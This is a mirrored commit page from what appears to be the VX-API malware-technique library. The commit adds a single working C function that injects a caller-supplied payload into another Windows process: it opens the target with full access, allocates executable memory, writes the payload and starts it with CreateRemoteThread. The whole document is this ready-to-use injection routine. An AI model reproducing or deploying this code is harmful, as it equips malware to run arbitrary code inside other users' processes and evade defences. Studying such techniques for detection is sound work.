mirror of
https://github.com/vxunderground/VX-API
synced 2026-06-06 16:54:55 +00:00
2.0.559
2.0.559
This commit is contained in:
@@ -0,0 +1,40 @@
|
||||
#include "Win32Helper.h"
|
||||
|
||||
BOOL MpfPiWriteProcessMemoryCreateRemoteThread(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes, _In_ DWORD TargetProcessId)
|
||||
{
|
||||
HANDLE hHandle = NULL, hThread = NULL;
|
||||
LPVOID BaseAddress = NULL;
|
||||
BOOL bFlag = FALSE;
|
||||
|
||||
hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, TargetProcessId);
|
||||
if (hHandle == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
BaseAddress = VirtualAllocEx(hHandle, NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (BaseAddress == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
if (!SetProcessPrivilegeToken(0))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
if (!WriteProcessMemory(hHandle, BaseAddress, Payload, PayloadSizeInBytes, NULL))
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
hThread = CreateRemoteThread(hHandle, NULL, 0, (LPTHREAD_START_ROUTINE)BaseAddress, NULL, 0, NULL);
|
||||
if (hThread == NULL)
|
||||
goto EXIT_ROUTINE;
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
|
||||
bFlag = TRUE;
|
||||
|
||||
EXIT_ROUTINE:
|
||||
|
||||
if (hThread)
|
||||
CloseHandle(hThread);
|
||||
|
||||
if (hHandle)
|
||||
CloseHandle(hHandle);
|
||||
|
||||
return bFlag;
|
||||
}
|
||||
Reference in New Issue
Block a user